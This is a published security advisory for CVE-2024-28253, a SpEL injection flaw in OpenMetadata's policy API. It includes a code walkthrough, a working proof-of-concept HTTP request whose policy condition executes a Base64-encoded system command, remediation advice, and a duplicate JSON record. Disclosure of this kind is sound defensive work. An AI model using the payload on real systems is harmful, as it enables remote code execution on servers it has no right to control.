GHSA-7VF4-X5M2-R6GR

Vulnerability from github – Published: 2024-04-23 21:11 – Updated: 2025-09-04 15:32
VLAI?
Summary
OpenMetadata vulnerable to SpEL Injection in `PUT /api/v1/policies` (`GHSL-2023-252`)
Details

SpEL Injection in PUT /api/v1/policies (GHSL-2023-252)

Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability

CompiledRule::validateExpression is also called from PolicyRepository.prepare

  @Override
  public void prepare(Policy policy, boolean update) {
    validateRules(policy);
  }
  ...
  public void validateRules(Policy policy) {
    List<Rule> rules = policy.getRules();
    if (nullOrEmpty(rules)) {
      throw new IllegalArgumentException(CatalogExceptionMessage.EMPTY_RULES_IN_POLICY);
    }

    // Validate all the expressions in the rule
    for (Rule rule : rules) {
      CompiledRule.validateExpression(rule.getCondition(), Boolean.class);
      rule.getResources().sort(String.CASE_INSENSITIVE_ORDER);
      rule.getOperations().sort(Comparator.comparing(MetadataOperation::value));

      // Remove redundant resources
      rule.setResources(filterRedundantResources(rule.getResources()));

      // Remove redundant operations
      rule.setOperations(filterRedundantOperations(rule.getOperations()));
    }
    rules.sort(Comparator.comparing(Rule::getName));
  }

prepare() is called from EntityRepository.prepareInternal() which, in turn, gets called from the EntityResource.createOrUpdate():

public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) {
  repository.prepareInternal(entity, true);

  // If entity does not exist, this is a create operation, else update operation
  ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName());
  MetadataOperation operation = createOrUpdateOperation(resourceContext);
  OperationContext operationContext = new OperationContext(entityType, operation);
  if (operation == CREATE) {
    CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity);
    authorizer.authorize(securityContext, operationContext, createResourceContext);
    entity = addHref(uriInfo, repository.create(uriInfo, entity));
    return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse();
  }
  authorizer.authorize(securityContext, operationContext, resourceContext);
  PutResponse<T> response = repository.createOrUpdate(uriInfo, entity);
  addHref(uriInfo, response.getEntity());
  return response.toResponse();
}

Note that even though there is an authorization check (authorizer.authorize()), it gets called after prepareInternal() gets called and therefore after the SpEL expression has been evaluated.

In order to reach this method, an attacker can send a PUT request to /api/v1/policies which gets handled by PolicyResource.createOrUpdate():

@PUT
@Operation(
    operationId = "createOrUpdatePolicy",
    summary = "Create or update a policy",
    description = "Create a new policy, if it does not exist or update an existing policy.",
    responses = {
      @ApiResponse(
          responseCode = "200",
          description = "The policy",
          content = @Content(mediaType = "application/json", schema = @Schema(implementation = Policy.class))),
      @ApiResponse(responseCode = "400", description = "Bad request")
    })
public Response createOrUpdate(
    @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreatePolicy create) {
  Policy policy = getPolicy(create, securityContext.getUserPrincipal().getName());
  return createOrUpdate(uriInfo, securityContext, policy);
}

This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query.

Proof of concept

  • Prepare the payload
    • Encode the command to be run (eg: touch /tmp/pwned) using Base64 (eg: dG91Y2ggL3RtcC9wd25lZA==)
    • Create the SpEL expression to run the system command: T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))
  • Send the payload using a valid JWT token:
PUT /api/v1/policies HTTP/1.1
Host: localhost:8585
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
Authorization: Bearer <non-admin JWT>
accept: application/json
Connection: close
Content-Type: application/json
Content-Length: 367

{"name":"TeamOnlyPolicy","rules":[{"name":"TeamOnlyPolicy-Rule","description":"Deny all the operations on all the resources for all outside the team hierarchy..","effect":"deny","operations":["All"],"resources":["All"],"condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))"}]}
  • Verify that a file called /tmp/pwned was created in the OpenMetadata server

Impact

This issue may lead to Remote Code Execution by a registered and authenticated user

Remediation

Use SimpleEvaluationContext to exclude references to Java types, constructors, and bean references.

Severity ?
9.4 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.open-metadata:openmetadata-service"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-28253"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-23T21:11:23Z",
    "nvd_published_at": "2024-03-15T20:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "### SpEL Injection in `PUT /api/v1/policies` (`GHSL-2023-252`)\n\n**Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability** \n\n`CompiledRule::validateExpression` is also called from [`PolicyRepository.prepare`](https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/PolicyRepository.java#L113)\n\n```java\n  @Override\n  public void prepare(Policy policy, boolean update) {\n    validateRules(policy);\n  }\n  ...\n  public void validateRules(Policy policy) {\n    List\u003cRule\u003e rules = policy.getRules();\n    if (nullOrEmpty(rules)) {\n      throw new IllegalArgumentException(CatalogExceptionMessage.EMPTY_RULES_IN_POLICY);\n    }\n\n    // Validate all the expressions in the rule\n    for (Rule rule : rules) {\n      CompiledRule.validateExpression(rule.getCondition(), Boolean.class);\n      rule.getResources().sort(String.CASE_INSENSITIVE_ORDER);\n      rule.getOperations().sort(Comparator.comparing(MetadataOperation::value));\n\n      // Remove redundant resources\n      rule.setResources(filterRedundantResources(rule.getResources()));\n\n      // Remove redundant operations\n      rule.setOperations(filterRedundantOperations(rule.getOperations()));\n    }\n    rules.sort(Comparator.comparing(Rule::getName));\n  }\n```\n\n`prepare()` is called from [`EntityRepository.prepareInternal()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EntityRepository.java#L693) which, in turn, gets called from the [`EntityResource.createOrUpdate()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/EntityResource.java#L219):\n\n```java\npublic Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) {\n  repository.prepareInternal(entity, true);\n\n  // If entity does not exist, this is a create operation, else update operation\n  ResourceContext\u003cT\u003e resourceContext = getResourceContextByName(entity.getFullyQualifiedName());\n  MetadataOperation operation = createOrUpdateOperation(resourceContext);\n  OperationContext operationContext = new OperationContext(entityType, operation);\n  if (operation == CREATE) {\n    CreateResourceContext\u003cT\u003e createResourceContext = new CreateResourceContext\u003c\u003e(entityType, entity);\n    authorizer.authorize(securityContext, operationContext, createResourceContext);\n    entity = addHref(uriInfo, repository.create(uriInfo, entity));\n    return new PutResponse\u003c\u003e(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse();\n  }\n  authorizer.authorize(securityContext, operationContext, resourceContext);\n  PutResponse\u003cT\u003e response = repository.createOrUpdate(uriInfo, entity);\n  addHref(uriInfo, response.getEntity());\n  return response.toResponse();\n}\n```\n\nNote that even though there is an authorization check (`authorizer.authorize()`), it gets called after `prepareInternal()` gets called and therefore after the SpEL expression has been evaluated.\n\nIn order to reach this method, an attacker can send a PUT request to `/api/v1/policies` which gets handled by [`PolicyResource.createOrUpdate()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/policies/PolicyResource.java#L365):\n\n```java\n@PUT\n@Operation(\n    operationId = \"createOrUpdatePolicy\",\n    summary = \"Create or update a policy\",\n    description = \"Create a new policy, if it does not exist or update an existing policy.\",\n    responses = {\n      @ApiResponse(\n          responseCode = \"200\",\n          description = \"The policy\",\n          content = @Content(mediaType = \"application/json\", schema = @Schema(implementation = Policy.class))),\n      @ApiResponse(responseCode = \"400\", description = \"Bad request\")\n    })\npublic Response createOrUpdate(\n    @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreatePolicy create) {\n  Policy policy = getPolicy(create, securityContext.getUserPrincipal().getName());\n  return createOrUpdate(uriInfo, securityContext, policy);\n}\n```\n\nThis vulnerability was discovered with the help of CodeQL\u0027s [Expression language injection (Spring)](https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection/) query.\n\n#### Proof of concept\n- Prepare the payload\n\t- Encode the command to be run (eg: `touch /tmp/pwned`) using Base64 (eg: `dG91Y2ggL3RtcC9wd25lZA==`)\n\t- Create the SpEL expression to run the system command: `T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode(\"dG91Y2ggL3RtcC9wd25lZA==\")))`\n- Send the payload using a valid JWT token:\n\n```http\nPUT /api/v1/policies HTTP/1.1\nHost: localhost:8585\nsec-ch-ua: \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nAuthorization: Bearer \u003cnon-admin JWT\u003e\naccept: application/json\nConnection: close\nContent-Type: application/json\nContent-Length: 367\n\n{\"name\":\"TeamOnlyPolicy\",\"rules\":[{\"name\":\"TeamOnlyPolicy-Rule\",\"description\":\"Deny all the operations on all the resources for all outside the team hierarchy..\",\"effect\":\"deny\",\"operations\":[\"All\"],\"resources\":[\"All\"],\"condition\":\"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode(\u0027dG91Y2ggL3RtcC9wd25lZA==\u0027)))\"}]}\n```\n- Verify that a file called `/tmp/pwned` was created in the OpenMetadata server\n\n#### Impact\n\nThis issue may lead to Remote Code Execution by a registered and authenticated user\n\n#### Remediation\n\nUse [`SimpleEvaluationContext`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html) to exclude *references to Java types, constructors, and bean references*.",
  "id": "GHSA-7vf4-x5m2-r6gr",
  "modified": "2025-09-04T15:32:02Z",
  "published": "2024-04-23T21:11:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-7vf4-x5m2-r6gr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28253"
    },
    {
      "type": "WEB",
      "url": "https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-metadata/OpenMetadata"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EntityRepository.java#L693"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/EntityResource.java#L219"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/policies/PolicyResource.java#L365"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/PolicyRepository.java#L113"
    },
    {
      "type": "ADVISORY",
      "url": "https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenMetadata vulnerable to SpEL Injection in `PUT /api/v1/policies` (`GHSL-2023-252`)"
}


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  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
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  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.